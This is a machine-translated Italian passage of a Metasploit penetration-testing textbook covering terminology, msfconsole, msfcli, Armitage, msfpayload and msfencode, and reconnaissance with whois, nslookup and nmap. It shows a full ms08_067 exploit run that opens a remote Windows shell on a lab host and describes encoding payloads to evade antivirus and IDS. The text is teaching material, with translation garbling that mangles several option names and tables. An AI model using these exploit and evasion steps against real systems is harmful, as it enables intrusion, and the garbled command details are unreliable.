La ricchezza di conoscenze raccolte dagli scanner di vulnerabilità può essere inestimabile, ma fai attenzione a non fare troppo
affidamento su di esse. Il bello di un test di penetrazione è che non può essere automatizzato e per attaccare i sistemi con
successo è necessario possedere conoscenze e abilità. Nella maggior parte dei casi, quando diventi un abile tester di
penetrazione, utilizzerai raramente uno scanner di vulnerabilità, ma farai affidamento sulle tue conoscenze e competenze per
compromettere un sistema.
Machine Translated by Google

Mettere tutto insieme Se non


conosci i test di penetrazione o non hai davvero adottato una metodologia formale, studia il PTES
Come con qualsiasi esperimento, quando si esegue un test di penetrazione, assicurarsi di disporre di
un processo raffinato e adattabile che sia anche ripetibile. In qualità di penetration tester, devi
assicurarti che la raccolta di informazioni e l'analisi della vulnerabilità siano il più esperte possibile, per darti
un vantaggio nell'adattarti agli scenari mentre si presentano.
Machine Translated by Google
Capitolo 2. Nozioni di base su Metasploit
Quando incontri Metasploit Framework (MSF) per la prima volta, potresti essere sopraffatto dalle sue
numerose interfacce, opzioni, utilità, variabili e moduli. In questo capitolo, ci concentreremo sulle basi
che ti aiuteranno a dare un senso al quadro generale. Esamineremo alcuni termini di base dei test di
penetrazione e quindi tratteremo brevemente le varie interfacce utente che Metasploit ha da offrire.
Metasploit stesso è un software open source gratuito, con molti contributori nella comunità della sicurezza,
ma sono disponibili anche due versioni commerciali di Metasploit.
Quando si utilizza Metasploit per la prima volta, è importante non rimanere bloccati da quell'exploit più recente;
concentrati invece su come funziona Metasploit e quali comandi hai usato per rendere possibile l'exploit.

Terminologia In
questo libro useremo vari termini che prima portano qualche spiegazione. La maggior parte dei seguenti
termini di base sono definiti nel contesto di Metasploit, ma generalmente sono gli stessi in tutto il settore
della sicurezza.

Exploit Un
exploit è il mezzo attraverso il quale un utente malintenzionato, o un pen tester, trae vantaggio da un difetto
all'interno di un sistema, un'applicazione o un servizio. Un utente malintenzionato utilizza un exploit per attaccare
un sistema in un modo che si traduce in un particolare risultato desiderato che lo sviluppatore non ha mai voluto.
Gli exploit comuni includono overflow del buffer, vulnerabilità delle applicazioni Web (come SQL injection) e configurazio
errori.

Payload Un
payload è il codice che vogliamo che il sistema esegua e che deve essere selezionato e consegnato dal
Framework. Ad esempio, una shell inversa è un carico utile che crea una connessione dalla macchina di
destinazione all'attaccante come prompt dei comandi di Windows (vedere il Capitolo 5), mentre una shell di
collegamento è un carico utile che "lega" un prompt dei comandi a una porta di ascolto sulla macchina di destinazione,
che l'attaccante può quindi connettersi. Un carico utile potrebbe anche essere qualcosa di semplice come pochi
comandi da eseguire sul sistema operativo di destinazione.

Codice Shell

Shellcode è un insieme di istruzioni utilizzate come carico utile quando si verifica lo sfruttamento. Lo shellcode è
in genere scritto in linguaggio assembly. Nella maggior parte dei casi, verrà fornita una shell dei comandi o una shell
Meterpreter dopo che la serie di istruzioni è stata eseguita dalla macchina di destinazione, da cui il nome.

Modulo

Un modulo nel contesto di questo libro è un software che può essere utilizzato da Metasploit Framework. A
volte, potresti richiedere l'uso di un modulo exploit, un componente software che conduce l'attacco. Altre volte,
potrebbe essere necessario un modulo ausiliario per eseguire un'azione come la scansione o l'enumerazione del
sistema. Questi moduli intercambiabili sono il fulcro di ciò che rende il Framework così potente.
Machine Translated by Google
Ascoltatore
Un listener è un componente all'interno di Metasploit che attende una connessione in entrata di qualche tipo.
Ad esempio, dopo che la macchina di destinazione è stata sfruttata, può chiamare la macchina attaccante su
Internet. L'ascoltatore gestisce quella connessione, aspettando che la macchina attaccante venga contattata dal
sistema sfruttato.
Machine Translated by Google

Interfacce Metasploit Metasploit


offre più di un'interfaccia alle sue funzionalità sottostanti, tra cui console, riga di comando e
interfacce grafiche. Oltre a queste interfacce, le utilità forniscono l'accesso diretto alle funzioni che
sono normalmente interne al Metasploit Framework. Queste utilità possono essere preziose per lo
sviluppo di exploit e situazioni per le quali non è necessaria la flessibilità dell'intero Framework.

Console di MSF
Msfconsole è di gran lunga la parte più popolare di Metasploit Framework e per una buona ragione. È uno degli
strumenti più flessibili, ricchi di funzionalità e ben supportati all'interno del Framework. Msfconsole fornisce una
pratica interfaccia all-in-one per quasi tutte le opzioni e le impostazioni disponibili nel Framework; è come uno
sportello unico per tutti i tuoi sogni di sfruttamento. Puoi usare msfconsole per fare qualsiasi cosa, incluso l'avvio di
un exploit, il caricamento di moduli ausiliari, l'esecuzione dell'enumerazione, la creazione di listener o l'esecuzione di
sfruttamento di massa su un'intera rete.
Sebbene Metasploit Framework sia in continua evoluzione, un sottoinsieme di comandi rimane relativamente
costante. Padroneggiando le basi di msfconsole, sarai in grado di tenere il passo con qualsiasi modifica. Per
illustrare l'importanza dell'apprendimento di msfconsole, verrà utilizzato in quasi tutti i capitoli del libro.

Avvio di MSFconsole
Per avviare msfconsole, inserisci msfconsole dalla riga di comando:
root@bt:/# cd /opt/framework3/msf3/ root@bt:/
opt/framework/msf3# msfconsole < metasploit >

------------
\ ,__,
\ (oo) ____ (__))
\ || - || *

msf >

Per accedere ai file della guida di msfconsole, inserisci help seguito dal comando che ti interessa. Nel prossimo
esempio, stiamo cercando aiuto per il comando connect, che ci permette di comunicare con un host. La
documentazione risultante elenca l'utilizzo, una descrizione dello strumento e i vari flag di opzione.

msf > aiuta a connettersi

Esploreremo MSFConsole in modo più approfondito nei capitoli che seguono.

MSFcli
Msfcli e msfconsole adottano approcci molto diversi per fornire l'accesso al Framework. Laddove msfconsole
fornisce un modo interattivo per accedere a tutte le funzionalità in modo intuitivo, msfcli dà la priorità allo scripting
e all'interpretabilità con altri strumenti basati su console. Invece di fornire un interprete univoco al Framework,
msfcli viene eseguito direttamente dalla riga di comando, il che consente di reindirizzare l'output da altri strumenti a
msfcli e dirigere l'output di msfcli ad altri strumenti della riga di comando.
Msfcli supporta anche il lancio di exploit e moduli ausiliari e può essere utile quando si testano moduli o si
sviluppano nuovi exploit per il Framework. È uno strumento fantastico per uno sfruttamento unico quando sai
esattamente quale exploit e le opzioni di cui hai bisogno. È meno indulgente di
Machine Translated
msfconsole, by aiuto
ma offre un Googledi base (incluso l'utilizzo e un elenco di modalità) con il comando
msfcli -h, come mostrato qui:

root@bt:/opt/framework3/msf3# msfcli -h
Utilizzo: /opt/framework3/msf3/msfcli <nome_exploit> <opzione=valore> [modalità]
====================================================================================================================================== ==============================

Modalità Descrizione
---- ---------------

(Aiuto Lo stai guardando, piccola!


(Riepilogo Mostra informazioni su questo modulo
(Opzioni Mostra le opzioni disponibili per questo modulo
(Avanzate Mostra le opzioni avanzate disponibili per questo modulo
(I)DS Evasion Mostra le opzioni di evasione ID disponibili per questo modulo
(P)carichi Mostra i payload disponibili per questo modulo
(T) obiettivi Mostra le destinazioni disponibili per questo modulo exploit
(Azioni Mostra le azioni disponibili per questo modulo ausiliario
(Dai un'occhiata Eseguire la routine di controllo del modulo selezionato
(E) eseguire Esegui il modulo selezionato

root@bt:/opt/framework3/msf3#

Esempio di utilizzo
Diamo un'occhiata a come potresti usare msfcli. Non preoccuparti dei dettagli; questi esempi sono
destinato a darti un'idea di come potresti lavorare con questa interfaccia.

Quando impari Metasploit per la prima volta o ogni volta che rimani bloccato, puoi vedere le opzioni disponibili in
un modulo aggiungendo la lettera O alla fine della stringa in qualsiasi punto ti trovi bloccato. Per
esempio, nell'elenco seguente, utilizziamo la O per vedere le opzioni disponibili per ms08_067_netapi
modulo:

root@bt:/# msfcli windows/smb/ms08_067_netapi O


[*] Attendi mentre carichiamo l'albero dei moduli...

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ARROSTO 0.0.0.0 sì sì L'indirizzo di destinazione


RAPPORTO 445 sì Impostare la porta del servizio SMB
BROWSER SMBPIPE Il nome della pipe da utilizzare (BROWSER, SRVSVC)

Puoi vedere che il modulo richiede tre opzioni: RHOST, RPORT e SMPIPE. Ora, aggiungendo una P, abbiamo
può controllare i carichi utili disponibili:
root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Attendi mentre carichiamo l'albero dei moduli...

Carichi compatibili
=====================

Nome Descrizione
---- -----------

generic/debug_trap generic/ Genera una trappola di debug nel processo di destinazione


shell_bind_tcp e genera una shell Ascolta per una connessione
dei comandi

Dopo aver impostato tutte le opzioni richieste per il nostro exploit e selezionando un payload, possiamo eseguire il nostro exploit
passando la lettera E alla fine della stringa dell'argomento msfcli, come mostrato qui:
root@bt:/# msfcli windows/smb/ms08_067_netapi
Machine Translated by Google
RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E [*]
Attendi mentre carichiamo l'albero dei moduli...
[*] Gestore di associazione
avviato [*] Rilevamento automatico del target...
[*] Impronta digitale: Windows XP Service Pack 2 - lang:inglese [*] Target
selezionato: Windows XP SP2 inglese (NX)
[*] Attivazione della vulnerabilità...
[*] Fase di invio (240 byte)
[*] Sessione della shell di comando 1 aperta (192.168.1.101:46025 -> 192.168.1.155:4444)

Microsoft Windows XP [versione 5.1.2600]


(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\sistema32>

Abbiamo successo, perché abbiamo ricevuto un prompt dei comandi di Windows dal sistema remoto.

Armitage Il

componente armitage di Metasploit è un'interfaccia utente grafica completamente interattiva creata da Raphael
Mudge. Questa interfaccia è davvero impressionante, ricca di funzionalità e disponibile gratuitamente. Non tratteremo in
modo approfondito l'armistizio, ma vale sicuramente la pena menzionarlo come qualcosa da esplorare. Il nostro obiettivo è
insegnare i dettagli di Metasploit e la GUI è fantastica una volta capito come funziona effettivamente il Framework.

Esecuzione di Armitage Per

avviare Armitage, eseguire il comando armitage. Durante l'avvio, seleziona Avvia MSF, che consentirà ad armitage di
connettersi alla tua istanza Metasploit.
root@bt:/opt/framework3/msf3# armitage

Dopo che l'armitage è in esecuzione, fai semplicemente clic su un menu per eseguire un attacco particolare o
accedere ad altre funzionalità di Metasploit. Ad esempio, la Figura 2-1 mostra gli exploit del browser (lato client).
Machine Translated by Google

Figura 2-1. Il menu dell'exploit del browser dell'armitage


Machine Translated by Google

Utilità Metasploit Dopo aver


trattato le tre interfacce principali di Metasploit, è ora di trattare alcune utilità. Le utilità di
Metasploit sono interfacce dirette a particolari funzionalità del Framework che possono essere
utili in situazioni specifiche, specialmente nello sviluppo di exploit. Tratteremo alcune delle utilità
più accessibili qui e ne introdurremo di ulteriori nel corso del libro.

MSFpayload Il
componente msfpayload di Metasploit consente di generare shellcode, eseguibili e molto altro da
utilizzare in exploit al di fuori del Framework.
Shellcode può essere generato in molti formati tra cui C, Ruby, JavaScript e persino Visual Basic for Applications. Ciascun
formato di output sarà utile in varie situazioni. Ad esempio, se stai lavorando con un proof of concept basato su Python,
l'output in stile C potrebbe essere il migliore; se stai lavorando su un exploit del browser, un formato di output JavaScript
potrebbe essere il migliore. Dopo aver ottenuto l'output desiderato, puoi facilmente inserire il payload direttamente in un file
HTML per attivare l'exploit.

Per vedere quali opzioni prende l'utilità, inserisci msfpayload -h nella riga di comando, come mostrato qui:

root@bt:/# msfpayload -h
Come con msfcli, se ti trovi bloccato sulle opzioni richieste per un modulo di carico utile, aggiungi la lettera O sulla riga
di comando per un elenco di variabili obbligatorie e facoltative, in questo modo:

root@bt:/# msfpayload windows/shell_reverse_tcp O


Ci addentreremo molto più a fondo in msfpayload mentre esploreremo lo sviluppo degli exploit nei capitoli successivi.

MSFencode

Lo shellcode generato da msfpayload è completamente funzionante, ma contiene diversi caratteri nulli che, se interpretati
da molti programmi, indicano la fine di una stringa e questo farà terminare il codice prima del completamento. In altre parole,
quegli x00 e xff possono rompere il tuo carico utile!

Inoltre, è probabile che lo shellcode che attraversa una rete in chiaro venga rilevato da sistemi di rilevamento delle intrusioni
(IDS) e software antivirus. Per risolvere questo problema, gli sviluppatori di Metasploit offrono msfencode, che ti aiuta a
evitare caratteri cattivi ed eludere antivirus e IDS codificando il payload originale in un modo che non includa caratteri
"cattivi". Immettere msfencode -h per visualizzare un elenco di opzioni di msfencode.

Metasploit contiene una serie di codificatori diversi per situazioni specifiche. Alcuni saranno utili quando puoi utilizzare solo
caratteri alfanumerici come parte di un payload, come nel caso di molti exploit di formati di file o altre applicazioni che
accettano solo caratteri stampabili come input, mentre altri sono ottimi codificatori per uso generale che funzionano bene
in ogni situazione .

In caso di dubbio, però, non puoi davvero sbagliare con l'encoder x86/shikata_ga_nai, l'unico encoder con il rango di
Eccellente, una misura dell'affidabilità e della stabilità di un modulo. Nel contesto di un encoder, una classifica
Eccellente implica che è uno degli encoder più versatili e può ospitare un grado di messa a punto maggiore rispetto ad
altri encoder. Per vedere l'elenco dei codificatori disponibili, aggiungi -l a msfencode come mostrato di seguito. I carichi
utili sono classificati in ordine di affidabilità.

root@bt:˜# msfencode -l
Machine Translated
Conchiglia di Nasmby Google

L'utilità nasm_shell.rb può essere utile quando si cerca di dare un senso al codice assembly, soprattutto se,
durante lo sviluppo dell'exploit, è necessario identificare gli opcode (le istruzioni di assembly) per un determinato
comando assembly.
Ad esempio, qui eseguiamo lo strumento e richiediamo gli opcode per il comando jmp esp , che
nasm_shell ci dice essere FFE4.
root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb

nasm > jmp esp


00000000 FFE4 jmp esp
Machine Translated by Google

Metasploit Express e Metasploit Pro Metasploit


Express e Metasploit Pro sono interfacce Web commerciali per Metasploit Framewor
Queste utilità forniscono un'automazione sostanziale e semplificano le cose per i nuovi utenti, pur fornendo pieno
accesso al Framework. Entrambi i prodotti forniscono anche strumenti che non sono disponibili nelle edizioni community del
Framework, come la forzatura bruta delle password automatizzata e gli attacchi automatici ai siti Web. Inoltre, un bel back-
end di report per Metasploit Pro può velocizzare uno degli aspetti meno popolari dei test di penetrazione: scrivere il report.

Vale la pena acquistare questi strumenti? Solo tu puoi fare quella scelta. Le edizioni commerciali di Metasploit sono
destinate a tester di penetrazione professionisti e possono facilitare molti degli aspetti più di routine del lavoro, ma se i
risparmi di tempo derivanti dalle automazioni in questi prodotti commerciali sono utili per te, potrebbero giustificare il prezzo
di acquisto.

Ricorda, tuttavia, mentre automatizzi il tuo lavoro, che gli esseri umani sono più bravi nell'identificare i vettori di attacco rispetto
agli strumenti automatizzati.
Machine Translated by Google

Conclusione In
questo capitolo avete appreso un po' le basi del Metasploit Framework. Man mano che avanzi in
questo libro, inizierai a utilizzare questi strumenti in una capacità molto più avanzata. Troverai
diversi modi per svolgere le stesse attività utilizzando strumenti diversi. In definitiva, starà a te
decidere quale strumento si adatta meglio alle tue esigenze.
Ora che hai le basi sotto controllo, passiamo alla fase successiva del processo di test della penna:
la scoperta.
Machine Translated by Google
Capitolo 3. Raccolta di informazioni La raccolta di
informazioni segue le attività di pre-impegno come secondo passaggio di un test di penetrazione.
I tuoi obiettivi durante la raccolta di informazioni dovrebbero essere ottenere informazioni accurate sui tuoi obiettivi
senza rivelare la tua presenza o le tue intenzioni, apprendere come opera l'organizzazione e determinare la
migliore via di accesso. Se non svolgi un lavoro completo di raccolta di informazioni, potresti perdere sistemi
vulnerabili o vettori di attacco praticabili. Ci vuole tempo e pazienza per ordinare le pagine Web, eseguire l'hacking di
Google e mappare a fondo i sistemi nel tentativo di comprendere l'infrastruttura di un particolare obiettivo. La raccolta
di informazioni richiede un'attenta pianificazione, ricerca e, soprattutto, la capacità di pensare come un attaccante. A
questo punto, tenterai di raccogliere quante più informazioni possibili sull'ambiente di destinazione. Questa può essere
una grande quantità di informazioni e anche i dati più banali raccolti durante questa fase possono rivelarsi utili in
seguito, quindi fai attenzione.

Prima di iniziare a raccogliere informazioni, considera come registrerai tutto ciò che fai e i risultati che ottieni.
Devi ricordare e registrare quanti più dettagli possibili del tuo test di penetrazione. La maggior parte dei
professionisti della sicurezza apprende rapidamente che note dettagliate possono fare la differenza tra un test
di penetrazione riuscito e uno fallito. Proprio come uno scienziato deve ottenere risultati riproducibili, altri tester
di penetrazione esperti dovrebbero essere in grado di riprodurre il tuo lavoro utilizzando solo la tua documentazione.

La raccolta di informazioni è probabilmente l'aspetto più importante di un test di penetrazione, perché fornisce le
basi per tutto il lavoro che segue. Quando registri il tuo lavoro, sii metodico, accurato e preciso. E, come affermato
in precedenza, assicurati che prima di lanciare i tuoi exploit, hai imparato tutto ciò che puoi sul tuo obiettivo.

L'entusiasmo per la maggior parte delle persone arriva nello sfruttare i sistemi e nel fare il root, ma devi imparare a
camminare prima di poter correre.

AVVERTIMENTO

Se segui le procedure in questo capitolo, puoi effettivamente danneggiare il tuo sistema e il sistema del tuo target, quindi assicurati di configurare il tuo ambiente di test ora. (Per assistenza,
vedere l' Appendice A.) Molti degli esempi in questi capitoli possono essere distruttivi e rendere inutilizzabile un sistema di destinazione. Le attività discusse in questo capitolo potrebbero
essere considerate illegali se intraprese da qualcuno con cattive intenzioni, quindi segui le regole e non essere stupido.

Raccolta passiva di informazioni Utilizzando la


raccolta di informazioni passiva e indiretta, è possibile scoprire informazioni sugli obiettivi senza
toccare i loro sistemi. Ad esempio, è possibile utilizzare queste tecniche per identificare i confini
della rete, identificare i gestori della rete e persino apprendere quale sistema operativo e software del
server Web è in uso sulla rete di destinazione.
L'intelligence open source (OSINT) è una forma di raccolta di intelligence che utilizza informazioni aperte o
prontamente disponibili per trovare, selezionare e acquisire informazioni su un obiettivo. Diversi strumenti
rendono la raccolta di informazioni passive quasi indolore, inclusi strumenti complessi come Yeti e l'umile whois. In
questa sezione esploreremo il processo di raccolta di informazioni passive e gli strumenti che potresti utilizzare per
questo passaggio.
Immagina, ad esempio, un attacco contro http://www.secmaniac.net/. Il nostro obiettivo è determinare, come parte di
un test di penetrazione, quali sistemi possiede l'azienda e quali sistemi possiamo attaccare. Alcuni sistemi
Machinenon
potrebbe Translated byproprietà
essere di Google dell'azienda e potrebbe essere considerato fuori portata e non disponibile per attacchi.

Ricerche whois Iniziamo

usando la ricerca whois di Back|Track per trovare i nomi di secmaniac.net server di dominio.

msf > whois secmaniac.net [*]


exec: whois secmaniac.net

. . . SPICCHIA. . .
Registrato tramite: GoDaddy.com, Inc. (http://www.godaddy.com)
Nome a Dominio: SECMANAC.NET
Creato il: 03-Feb-10 Scade il: 03-
Feb-12 Ultimo aggiornamento:
03-Feb-10

Server di dominio nell'ordine elencato:


NS57.DOMAINCONTROL.COM
NS58.DOMAINCONTROL.COM

Apprendiamo che i server DNS (Domain Name System) sono ospitati da DOMAINCONTROL.COM, quindi questo è un buon
esempio di sistemi che non sarebbero inclusi in un test di penetrazione perché non avremmo l'autorità per attaccarli. Nella
maggior parte delle grandi organizzazioni, i server DNS sono ospitati all'interno dell'azienda e sono validi vettori di attacco. I
trasferimenti di zona e attacchi DNS simili possono spesso essere utilizzati per saperne di più su una rete sia dall'interno che
dall'esterno. In questo scenario, poiché DOMAINCONTROL.COM non è di proprietà di secmaniac.net, non dovremmo attaccare
questi sistemi e passeremo invece a un vettore di attacco diverso.

Netcraft
Netcraft (http://searchdns.netcraft.com/) è uno strumento basato sul Web che possiamo utilizzare per trovare l'indirizzo IP di un
server che ospita un determinato sito Web, come mostrato nella Figura 3-1.

Figura 3-1. Usa Netcraft per trovare l'indirizzo IP del server che ospita un determinato sito web.

Dopo aver identificato secmaniac.net Indirizzo IP come 75.118.185.142, eseguiamo un'altra ricerca whois su quell'indirizzo IP:

msf > whois 75.118.185.142 [*]


exec: whois 75.118.185.142 WideOpenWest
Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255.255
WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1)
75.118.184.0 - 75.118.191.255

Dalla ricerca whois e da una rapida ricerca vediamo che questo IP (WIDEOPENWEST) sembra essere un legittimo fornitore
di servizi. Sebbene l'intervallo di sottorete effettivo non sia registrato in modo specifico su secmaniac.net o secmaniac.com,
possiamo dire che questo sito sembra essere ospitato all'interno della casa dell'autore, perché il blocco IP sembra essere
parte di una fascia residenziale.
Machine Translated by Google
NSLookup Per

ottenere ulteriori informazioni sul server, utilizzeremo Back|Track per sfruttare nslookup, uno strumento integrato nella
maggior parte dei sistemi operativi, per trovare informazioni su secmaniac.net.

root@bt:˜# nslookup set


type=mx > secmaniac.net

Server: 172.16.32.2
Indirizzo: 172.16.32.2#53

Risposta non autorevole: mail


exchanger secmaniac.net = 10 mailstore1.secureserver.net. Scambiatore di posta
secmaniac.net = 0 smtp.secureserver.net.

In questo elenco vediamo che i server di posta puntano a mailstore1.secureserver.net e


smtp.secureserver.net. Una rapida ricerca su questi server di posta ci dice che questo sito Web è ospitato da una
terza parte, il che non rientrerebbe nell'ambito del nostro test di penetrazione.
A questo punto, abbiamo raccolto alcune informazioni preziose che potremmo essere in grado di utilizzare
contro il bersaglio in seguito. Alla fine, tuttavia, dobbiamo ricorrere a tecniche di raccolta di informazioni attive
per determinare l'IP di destinazione effettivo, che è 75.118.185.142.

NOTA

La raccolta passiva di informazioni è un'arte che non è facile padroneggiare in poche pagine di discussione. Vedere lo standard di
esecuzione dei test di penetrazione (PTES; http://www.pentest-standard.org/) per un elenco di potenziali modi per eseguire ulteriori raccolte di
informazioni passive.
Machine Translated by Google
Raccolta attiva delle informazioni Nella raccolta attiva
delle informazioni, interagiamo direttamente con un sistema per saperne di più. Potremmo, ad esempio, condurre
scansioni delle porte per le porte aperte sulla destinazione o condurre scansioni per determinare quali servizi sono
in esecuzione. Ogni sistema o servizio in esecuzione che scopriamo ci offre un'altra opportunità di sfruttamento. Ma
attenzione: se diventi negligente durante la raccolta di informazioni attiva, potresti essere catturato da un IDS o da
un sistema di prevenzione delle intrusioni (IPS), non un buon risultato per il penetration tester segreto.

Scansione delle porte con Nmap Dopo aver


identificato l'intervallo IP di destinazione con la raccolta di informazioni passive e secmaniac.net indirizzo IP di
destinazione, possiamo iniziare a scansionare le porte aperte sul target tramite la scansione delle porte, un
processo in base al quale ci connettiamo meticolosamente alle porte sull'host remoto per identificare quelle attive.
(Ovviamente, in un'azienda più grande, avremmo più intervalli di IP e cose da attaccare invece di un solo IP.)

Nmap è, di gran lunga, lo strumento di scansione delle porte più popolare. Si integra con Metasploit in modo abbastanza elegante,
archiviando l'output di scansione in un back-end di database per un uso successivo. Nmap ti consente di scansionare gli host per identificare
i servizi in esecuzione su ciascuno, ognuno dei quali potrebbe offrire una via d'accesso.

Per questo esempio, lasciamo secmaniac.net dietro e girare alla macchina virtuale descritta nell'Appendice A,
con indirizzo IP 172.16.32.131. Prima di iniziare, dai una rapida occhiata alla sintassi di base di nmap immettendo nmap
dalla riga di comando sulla tua macchina Back|Track.
Vedrai immediatamente che nmap ha un bel po' di opzioni, ma ne userai solo alcune per la maggior parte.

Una delle nostre opzioni preferite di nmap è -sS. Questo esegue una scansione TCP invisibile che determina se
una specifica porta basata su TCP è aperta. Un'altra opzione preferita è -Pn, che dice a nmap di non usare ping per
determinare se un sistema è in esecuzione; invece, considera tutti gli host "vivi". Se stai eseguendo test di penetrazione
basati su Internet, dovresti utilizzare questo flag, perché la maggior parte delle reti non consente l'Internet Control
Message Protocol (ICMP), che è il protocollo utilizzato dal ping . Se stai eseguendo questa scansione internamente,
probabilmente puoi ignorare questo flag.
Ora eseguiamo una rapida scansione di nmap sul nostro computer Windows XP utilizzando entrambi i flag -sS e -Pn .
root@bt:˜# nmap -sS -Pn 172.16.32.131 Rapporto
di scansione Nmap per 172.16.32.131 Host attivo
(latenza 0,00057s).
Non mostrato: 990 porte chiuse
PORT STATE ftpSERVICE
25/tcp open
21/tcp
smtpopen
80/
tcp open http 135/tcp open msrpc
139/tcp open netbios-ssn 443/tcp
open https 445/tcp open microsoft-
ds 1025/ tcp open NFS-o-IIS 1433/
tcp open ms-sql-s 3389/tcp open ms-
term-serv Nmap fatto: 1 indirizzo IP
(1 host up) scansionato in 14,34
secondi

Come puoi vedere, nmap riporta un elenco di porte aperte, insieme a una descrizione del servizio associato per
Machine Translated by Google
a testa.

Per maggiori dettagli, prova a utilizzare il flag -A . Questa opzione tenterà l'enumerazione avanzata dei servizi e
l'acquisizione di banner, che potrebbero darti ancora più dettagli sul sistema di destinazione. Ad esempio, ecco cosa
vedremmo se dovessimo chiamare nmap con i flag -sS e -A , usando il nostro stesso sistema di destinazione:

root@bt:˜# nmap -Pn -sS -A 172.16.32.131 Rapporto di


scansione Nmap per 172.16.32.131 Host attivo (latenza
0.0035s).
Non mostrato: 993 porte chiuse PORT
135/tcp open SERVIZIO
msrpc 139/tcp open
DI STATO VERSIONE
netbios-ssn 445/tcp open microsoft-ds Microsoft Windows RPC
Microsoft Windows XP microsoft-ds 777/
tcp open unknown 1039/tcp open unknown 1138/tcp open msrpc 1433/tcp apri ms-sql-s

Microsoft Windows RPC


Microsoft SQL Server 2005 9.00.1399; RTM

. . . SPICCHIA. . .

Tipo di dispositivo: uso generale


In esecuzione: Microsoft Windows XP|2003
Dettagli del sistema operativo: Microsoft Windows XP Professional SP2 o Windows Server 2003
Distanza di rete: 1 salto
Informazioni sul servizio: Sistema operativo: Windows

Risultati script host: |_nbstat:


nome NetBIOS: V-MAC-XP, utente NetBIOS: <sconosciuto>, MAC NetBIOS: 00:0c:29:c9:38:4c (VMware)

|_smbv2 abilitato: il server non supporta il protocollo SMBv2 | smb-os-scoperta:

| Sistema operativo: Windows XP (gestore LAN di Windows 2000)


| Nome: GRUPPO DI LAVORO\V-MAC-XP

Lavorare con i database in Metasploit Quando si esegue un test di

penetrazione complesso con molti obiettivi, tenere traccia di tutto può essere una sfida. Fortunatamente, Metasploit ti copre
con un ampio supporto per più sistemi di database.

Per assicurarti che il supporto del database sia disponibile per il tuo sistema, devi prima decidere quale sistema di
database vuoi eseguire. Metasploit supporta MySQL e PostgreSQL; poiché PostgreSQL è l'impostazione predefinita, lo
seguiremo in questa discussione.

Innanzitutto, avviamo il sottosistema del database utilizzando gli script init.d integrati di Back|Track.

root@bt˜# /etc/init.d/postgresql-8.3 start

Dopo l'avvio di PostgreSQL, diciamo al Framework di connettersi all'istanza del database. Questa connessione
richiede un nome utente, una password, il nome dell'host su cui è in esecuzione il database e il nome del database che
vogliamo utilizzare. Indietro|Il nome utente PostgreSQL predefinito di Track è postgres con la password toor, ma useremo
msfbook come nome del database. Facciamo il collegamento.

msf > db_connect postgres:toor@127.0.0.1/ msfbook

Se questa fosse la prima volta che ci colleghiamo al nome del database, vedremmo molto output di testo poiché
Metasploit imposta tutte le tabelle necessarie. In caso contrario, il comando tornerà a msfconsole
Machine Translated by Google
richiesta.

Metasploit fornisce una serie di comandi che possiamo usare per interagire con il database, come vedrai in questo libro. (Per un elenco
completo, inserisci help.) Per ora, useremo db_status per assicurarci di essere collegati correttamente.

msf > db_status [*]


postgresql connesso a msfbook

Tutto sembra essere impostato bene.

Importazione dei risultati di Nmap in Metasploit Quando si lavora con

altri membri del team, con vari individui che eseguono la scansione in momenti diversi e da posizioni diverse, è utile sapere come eseguire
nmap da solo e quindi importare i risultati nel Framework. Successivamente, esamineremo come importare un file di esportazione XML di
base generato da nmap (generato con l' opzione -oX di nmap ) nel Framework.

Innanzitutto, eseguiamo la scansione della macchina virtuale Windows utilizzando l' opzione -oX per generare un file Subnet1.xml:

nmap -Pn -sS -A -oX Sottorete1 192.168.1.0/24

Dopo aver generato il file XML, utilizziamo il comando db_import per importarlo nel nostro database. Possiamo quindi verificare che
l'importazione abbia funzionato utilizzando il comando db_hosts , che elenca le voci di sistema che sono state create, come mostrato qui:

msf > db_connect postgres:toor@127.0.0.1/ msf3 msf >


db_import Subnet1.xml msf > db_hosts -c indirizzo

Ospiti
=====

indirizzo

-------

192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99

msf >

Questo ci dice che abbiamo importato con successo l'output delle nostre scansioni nmap in Metasploit, come evidenziato dagli
indirizzi IP popolati quando eseguiamo i comandi db_hosts .

Scansione Nmap avanzata: Scansione inattiva TCP


UnMachine Translated
metodo di scansioneby Google
nmap più avanzato, la scansione idle TCP, ci consente di scansionare un obiettivo in modo invisibile tramite spoofing
l'indirizzo IP di un altro host sulla rete. Affinché questo tipo di scansione funzioni, dobbiamo prima individuare un file
host inattivo sulla rete che utilizza ID IP incrementali (utilizzati per tenere traccia dell'ordine dei pacchetti). Quando noi
scoprire un sistema inattivo che utilizza ID IP incrementali, gli ID IP diventano prevedibili e quindi possiamo
prevedere il prossimo ID. Tuttavia, quando si esegue lo spoofing dell'indirizzo di un host inattivo durante la scansione di un target
risposte da porte aperte, possiamo vedere un'interruzione nella prevedibilità della sequenza ID IP, che
indica che abbiamo scoperto una porta aperta. (Per saperne di più su questo modulo e sull'ID IP
sequenze, visitare http://www.metasploit.com/modules/auxiliary/scanner/ip/ipidseq/.)

Utilizzare il modulo scanner/ip/ipidseq di Framework per cercare un host che si adatti alla scansione inattiva TCP
requisiti, come mostrato di seguito:

msf > usa ausiliario/scanner/ip/ipidseq


msf ausiliario(ipidseq) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

GWHOST No L'indirizzo IP del gateway


INTERFACCIA No Il nome dell'interfaccia
LOST No L'indirizzo IP locale

ROST
sì L'intervallo di indirizzi di destinazione o l'identificatore CIDR
RAPPORTO 80 sì La porta di destinazione
SNAPLEN 65535 sì Il numero di byte da acquisire
FILI 1 si si Il numero di thread simultanei
TEMPO SCADUTO 500 Il timeout di lettura della risposta in millisecondi

Questo elenco mostra le opzioni richieste per la scansione ipidseq. Uno degno di nota, RHOSTS a può prendere ,
Intervalli IP (come 192.168.1.20–192.168.1.30); Intervalli CIDR (Classless Inter-Domain Routing) (ad es
